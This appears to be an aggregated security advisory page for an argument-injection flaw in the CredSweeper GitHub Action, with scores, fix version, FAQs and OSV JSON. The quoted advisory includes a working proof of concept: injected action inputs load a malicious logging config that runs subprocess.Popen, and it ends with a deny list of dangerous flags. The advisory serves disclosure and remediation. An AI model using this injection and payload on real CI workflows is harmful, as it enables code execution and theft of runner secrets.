GHSA-q5pw-pp6j-mvfc: Samsung/CredSweeper CredSweeper GitHub Action Argument Injection Vulnerability

HIGH
CVSS 7.1
CWE-15 CWE-88
Published
Advisory Summary

GHSA-q5pw-pp6j-mvfc is a HIGH (CVSS 7.1) credsweeper github action argument injection vulnerability (CWE-15: External Control of System or Configuration Setting) affecting Samsung/CredSweeper libraries in the GitHub Actions ecosystem. The issue involves credsweeper github action argument injection allows arbitrary command execution via --log_config. Remediation is available by upgrading affected packages to version 1.17.0.

GHSA-q5pw-pp6j-mvfc at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-q5pw-pp6j-mvfc
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-15: External Control of System or Configuration Setting
Affected Product Samsung/CredSweeper
Package Ecosystem GitHub Actions
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-q5pw-pp6j-mvfc

To remediate this vulnerability, upgrade all affected Samsung/CredSweeper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Samsung/CredSweeper fixed: 1.17.0
Upgrade Samsung/CredSweeper to 1.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for Samsung/CredSweeper

How to Check if You Are Affected

To determine whether your application is affected by GHSA-q5pw-pp6j-mvfc, inspect your project dependencies for Samsung/CredSweeper:

inspect dependencies for Samsung/CredSweeper

Analyze the terminal output to locate any version of Samsung/CredSweeper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-15: External Control of System or Configuration Setting, where one or more system settings or configuration elements can be externally controlled by a user. In Samsung/CredSweeper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject `--log_config <malicious.yml>`, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python's `logging.config.dictConfig(...)`. Because logging configuration supports callable factories through the `()` key, this leads to arbitrary command execution on the GitHub Actions runner. Tested against the current upstream checkout: - repository: `https://github.com/Samsung/CredSweeper` - commit: `ed491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae1` - version: `1.16.0` This advisory scopes the affected range to `>= 1.11.6`, the first release containing the current composite GitHub Action form that passes `error` and `hashed` directly as raw CLI tokens. The underlying `--log_config` execution sink also reproduces on older releases, including `v1.4.3`, but the report below is intentionally limited to the currently published Action wrapper issue. ### Details The vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs. #### Current vulnerable action path In the current `action.yml`, the `error` and `hashed` inputs are presented like boolean-style flags, but they are actually free-form strings: ```yaml inputs: hashed: description: "Report output is hashed by default" default: "--hashed" required: false error: description: "Exit with an error code if credentials are detected" default: "--error" required: false ``` Those values are passed directly into the CredSweeper CLI as standalone tokens: ```yaml run: python -m credsweeper --banner --log INFO --no-color --no-stdout "$error" "$hashed" --save-json "$report" --path "$path" ``` Because `"$error"` and `"$hashed"` are emitted as independent CLI arguments, an attacker who controls them can transform them into: - `error = --log_config` - `hashed = /tmp/evil_log.yml` That yields an effective command line equivalent to: ```bash python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config /tmp/evil_log.yml --save-json output.json --path target.txt ``` #### Logging configuration sink CredSweeper accepts `--log_config` in the CLI: ```python parser.add_argument("--log_config", help="use custom log config (default: built-in)", ...) ``` During startup it loads that file: ```python Logger.init_logging(args.log, args.log_config_path) ``` The logger then does: ```python logging_config = Util.yaml_load(file_path) if file_path else None ... logging.config.dictConfig(logging_config) ``` `Util.yaml_load(...)` uses `yaml.safe_load`, which is not itself the code-execution sink. The execution sink is `logging.config.dictConfig(...)`, because Python logging configuration supports arbitrary callable factories through the `()` key. A malicious logging config can therefore invoke standard-library callables such as `subprocess.Popen` while logging is being initialized. #### Historical context The older Docker-based GitHub Action also exposed a broader raw argument interface. The original action exposed a raw `args` input: ```yaml inputs: args: description: "Arguments passed to credsweeper" default: "--path . --save-json --ml_validation" required: true ``` and the entrypoint executed it unquoted: ```bash credsweeper ${INPUT_ARGS} ``` Once `--log_config` was introduced, that old action form also became an execution path into the same logging sink. #### Affected version boundary The current composite action form was introduced in the following commit: - `8fb9da8dab6716db021e0d758293160e560ba446` Replaced raw `args` with `error` and `hashed`, but still passed them as raw CLI tokens First release containing it: `v1.11.6` The underlying `--log_config` execution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins at `v1.11.6` and includes `v1.16.0`. ### PoC The following steps reproduce the exact command path produced by the current Action after input injection. #### Reproduction on current version (`1.16.0`) Create a benign scan target: ```text target.txt --------- no secrets here ``` Create a malicious logging config: ```yaml version: 1 disable_existing_loggers: false formatters: simple: format: '%(message)s' handlers: console: class: logging.StreamHandler formatter: simple stream: ext://sys.stderr logfile: class: logging.FileHandler formatter: simple filename: 'run.log' pwn: (): subprocess.Popen args: ['python', '-c', 'from pathlib import Path; Path("pwned.txt").write_text("PWNED", encoding="utf-8")'] root: level: CRITICAL handlers: [console, logfile, pwn] ignore: [] ``` Run CredSweeper with the injected flag combination: ```bash python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt ``` The command above is the direct expansion of the published Action when invoked as: ```yaml - uses: Samsung/CredSweeper@v1.16.0 with: path: target.txt report: output.json error: --log_config hashed: evil_log.yml ``` Expected result: - CredSweeper exits successfully - `output.json` is produced - `pwned.txt` is created with content `PWNED` Observed result on `1.16.0`: ```text returncode: 0 marker_exists: true marker_content: PWNED stdout: CredSweeper 1.16.0 crc32:9f38a5fc Detected Credentials: 0 Time Elapsed: 0.8724986000015633 stderr: <empty> ``` This shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes. Secondary validation on `v1.4.3` reproduces the same `--log_config` execution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory. ### Impact This is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs. This is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as `--log_config`. Practical impact includes: - reading repository contents available to the runner - exfiltrating CI secrets or tokens exposed to the job - modifying generated reports or build artifacts - making arbitrary outbound network requests from the runner - compromising later workflow steps such as release, deployment, signing, or publication jobs This should be treated as High severity. Successful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner. ### Mitigation Recommended fix: 1. Do not pass user-controlled strings as raw CredSweeper CLI tokens from the GitHub Action. 2. Convert `error` and `hashed` into real boolean inputs and map them internally to an allowlisted set of flags: - `true` -> `--error` - `false` -> `--no-error` - `true` -> `--hashed` - `false` -> `--no-hashed` 3. Do not expose a generic raw `args` passthrough in any action form. 4. Treat `--log_config` as trusted-local-only functionality and do not make it reachable from action inputs. 5. Optionally reject dangerous flags entirely in the GitHub Action wrapper, including: - `--log_config` - `--config` - `--ml_config` - `--ml_model`

GHSA-q5pw-pp6j-mvfc Affected Samsung/CredSweeper Versions

1 component(s)
Fixed Versions:
1.17.0
Product / Package Ecosystem Affected Versions Fixed Version
Samsung/CredSweeper
GitHub Actions
≥ 1.11.6
< 1.17.0
1.17.0

References

Frequently Asked Questions

What is GHSA-q5pw-pp6j-mvfc?
GHSA-q5pw-pp6j-mvfc is a security vulnerability in Samsung/CredSweeper involving CredSweeper GitHub Action argument injection allows arbitrary command execution via --log_config under CWE-15: External Control of System or Configuration Setting.
Which Samsung/CredSweeper versions are affected?
Affected versions include releases prior to 1.17.0 across affected packages: Samsung/CredSweeper.
What version fixes GHSA-q5pw-pp6j-mvfc?
Upgrading to 1.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is Samsung/CredSweeper affected?
Yes, Samsung/CredSweeper is affected in releases prior to 1.17.0. Upgrade your dependency to 1.17.0 or later.
What is the CVSS score of GHSA-q5pw-pp6j-mvfc?
GHSA-q5pw-pp6j-mvfc has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with GHSA-q5pw-pp6j-mvfc?
GHSA-q5pw-pp6j-mvfc is classified under CWE-15: External Control of System or Configuration Setting (One or more system settings or configuration elements can be externally controlled by a user.).
How can I check GitHub Actions dependencies for GHSA-q5pw-pp6j-mvfc?
Run the dependency tree command: 'inspect dependencies for Samsung/CredSweeper'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q5pw-pp6j-mvfc",
  "modified" : "2026-12-03T01:22:37Z",
  "published" : "2026-12-03T01:22:37Z",
  "aliases" : [ ],
  "summary" : "CredSweeper GitHub Action argument injection allows arbitrary command execution via --log_config",
  "details" : "### Summary\n\nThe CredSweeper GitHub Action passes user-controlled inputs into the CredSweeper CLI as raw arguments. An attacker who can influence those action inputs can inject `--log_config <malicious.yml>`, which makes CredSweeper load attacker-chosen logging configuration and pass it into Python's `logging.config.dictConfig(...)`. Because logging configuration supports callable factories through the `()` key, this leads to arbitrary command execution on the GitHub Actions runner.\n\nTested against the current upstream checkout:\n\n- repository: `https://github.com/Samsung/CredSweeper`\n- commit: `ed491f25ea4d6f766a0b3b89b5e0a5eb6dc01ae1`\n- version: `1.16.0`\n\nThis advisory scopes the affected range to `>= 1.11.6`, the first release containing the current composite GitHub Action form that passes `error` and `hashed` directly as raw CLI tokens.\n\nThe underlying `--log_config` execution sink also reproduces on older releases, including `v1.4.3`, but the report below is intentionally limited to the currently published Action wrapper issue.\n\n### Details\n\nThe vulnerability is caused by the combination of unsafe action input handling and a trusted-only configuration feature exposed to those inputs.\n\n#### Current vulnerable action path\n\nIn the current `action.yml`, the `error` and `hashed` inputs are presented like boolean-style flags, but they are actually free-form strings:\n\n```yaml\ninputs:\n  hashed:\n    description: \"Report output is hashed by default\"\n    default: \"--hashed\"\n    required: false\n  error:\n    description: \"Exit with an error code if credentials are detected\"\n    default: \"--error\"\n    required: false\n```\n\nThose values are passed directly into the CredSweeper CLI as standalone tokens:\n\n```yaml\nrun: python -m credsweeper --banner --log INFO --no-color --no-stdout \"$error\" \"$hashed\" --save-json \"$report\" --path \"$path\"\n```\n\nBecause `\"$error\"` and `\"$hashed\"` are emitted as independent CLI arguments, an attacker who controls them can transform them into:\n\n- `error = --log_config`\n- `hashed = /tmp/evil_log.yml`\n\nThat yields an effective command line equivalent to:\n\n```bash\npython -m credsweeper --banner --log INFO --no-color --no-stdout --log_config /tmp/evil_log.yml --save-json output.json --path target.txt\n```\n\n#### Logging configuration sink\n\nCredSweeper accepts `--log_config` in the CLI:\n\n```python\nparser.add_argument(\"--log_config\", help=\"use custom log config (default: built-in)\", ...)\n```\n\nDuring startup it loads that file:\n\n```python\nLogger.init_logging(args.log, args.log_config_path)\n```\n\nThe logger then does:\n\n```python\nlogging_config = Util.yaml_load(file_path) if file_path else None\n...\nlogging.config.dictConfig(logging_config)\n```\n\n`Util.yaml_load(...)` uses `yaml.safe_load`, which is not itself the code-execution sink. The execution sink is `logging.config.dictConfig(...)`, because Python logging configuration supports arbitrary callable factories through the `()` key. A malicious logging config can therefore invoke standard-library callables such as `subprocess.Popen` while logging is being initialized.\n\n#### Historical context\n\nThe older Docker-based GitHub Action also exposed a broader raw argument interface.\n\nThe original action exposed a raw `args` input:\n\n```yaml\ninputs:\n  args:\n    description: \"Arguments passed to credsweeper\"\n    default: \"--path . --save-json --ml_validation\"\n    required: true\n```\n\nand the entrypoint executed it unquoted:\n\n```bash\ncredsweeper ${INPUT_ARGS}\n```\n\nOnce `--log_config` was introduced, that old action form also became an execution path into the same logging sink.\n\n#### Affected version boundary\n\nThe current composite action form was introduced in the following commit:\n\n- `8fb9da8dab6716db021e0d758293160e560ba446`\n  Replaced raw `args` with `error` and `hashed`, but still passed them as raw CLI tokens\n  First release containing it: `v1.11.6`\n\nThe underlying `--log_config` execution sink existed earlier, but this advisory is limited to the present Action-wrapper token injection path. On that basis, the affected range begins at `v1.11.6` and includes `v1.16.0`.\n\n### PoC\n\nThe following steps reproduce the exact command path produced by the current Action after input injection.\n\n#### Reproduction on current version (`1.16.0`)\n\nCreate a benign scan target:\n\n```text\ntarget.txt\n---------\nno secrets here\n```\n\nCreate a malicious logging config:\n\n```yaml\nversion: 1\ndisable_existing_loggers: false\nformatters:\n  simple:\n    format: '%(message)s'\nhandlers:\n  console:\n    class: logging.StreamHandler\n    formatter: simple\n    stream: ext://sys.stderr\n  logfile:\n    class: logging.FileHandler\n    formatter: simple\n    filename: 'run.log'\n  pwn:\n    (): subprocess.Popen\n    args: ['python', '-c', 'from pathlib import Path; Path(\"pwned.txt\").write_text(\"PWNED\", encoding=\"utf-8\")']\nroot:\n  level: CRITICAL\n  handlers: [console, logfile, pwn]\nignore: []\n```\n\nRun CredSweeper with the injected flag combination:\n\n```bash\npython -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt\n```\n\nThe command above is the direct expansion of the published Action when invoked as:\n\n```yaml\n- uses: Samsung/CredSweeper@v1.16.0\n  with:\n    path: target.txt\n    report: output.json\n    error: --log_config\n    hashed: evil_log.yml\n```\n\nExpected result:\n\n- CredSweeper exits successfully\n- `output.json` is produced\n- `pwned.txt` is created with content `PWNED`\n\nObserved result on `1.16.0`:\n\n```text\nreturncode: 0\nmarker_exists: true\nmarker_content: PWNED\nstdout:\nCredSweeper 1.16.0 crc32:9f38a5fc\nDetected Credentials: 0\nTime Elapsed: 0.8724986000015633\nstderr: <empty>\n```\n\nThis shows that the attacker-controlled logging configuration is executed during CredSweeper startup and that arbitrary commands run before scanning completes.\n\nSecondary validation on `v1.4.3` reproduces the same `--log_config` execution sink, confirming that this is not a theoretical code path. That older result is supporting context only and is not required for the primary affected-version claim in this advisory.\n\n### Impact\n\nThis is arbitrary command execution in GitHub Actions jobs that use the CredSweeper Action in a way that allows an attacker to influence the relevant action inputs.\n\nThis is not a claim that all CredSweeper users are affected. The issue is in the published GitHub Action wrapper. Users of the Python package or CLI are not affected unless they independently pass untrusted input into trusted-local options such as `--log_config`.\n\nPractical impact includes:\n\n- reading repository contents available to the runner\n- exfiltrating CI secrets or tokens exposed to the job\n- modifying generated reports or build artifacts\n- making arbitrary outbound network requests from the runner\n- compromising later workflow steps such as release, deployment, signing, or publication jobs\n\nThis should be treated as High severity.\n\nSuccessful exploitation yields arbitrary command execution on the CI runner. In affected workflows that can expose repository contents, ephemeral GitHub tokens, injected secrets, build artifacts, and downstream release or deployment credentials reachable from the same job. The impact is severe, but the issue is still workflow-dependent because the attacker must be able to influence the relevant action inputs and point them at a malicious log configuration file present on the runner.\n\n### Mitigation\n\nRecommended fix:\n\n1. Do not pass user-controlled strings as raw CredSweeper CLI tokens from the GitHub Action.\n2. Convert `error` and `hashed` into real boolean inputs and map them internally to an allowlisted set of flags:\n   - `true` -> `--error`\n   - `false` -> `--no-error`\n   - `true` -> `--hashed`\n   - `false` -> `--no-hashed`\n3. Do not expose a generic raw `args` passthrough in any action form.\n4. Treat `--log_config` as trusted-local-only functionality and do not make it reachable from action inputs.\n5. Optionally reject dangerous flags entirely in the GitHub Action wrapper, including:\n   - `--log_config`\n   - `--config`\n   - `--ml_config`\n   - `--ml_model`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "GitHub Actions",
      "name" : "Samsung/CredSweeper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.11.6"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-q5pw-pp6j-mvfc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Samsung/CredSweeper/commit/088249b11bd7832afa0051d6bdfb1d1d16aa1b1f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Samsung/CredSweeper"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Samsung/CredSweeper/releases/tag/v1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-15", "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-03T01:22:37Z",
    "nvd_published_at" : null
  }
}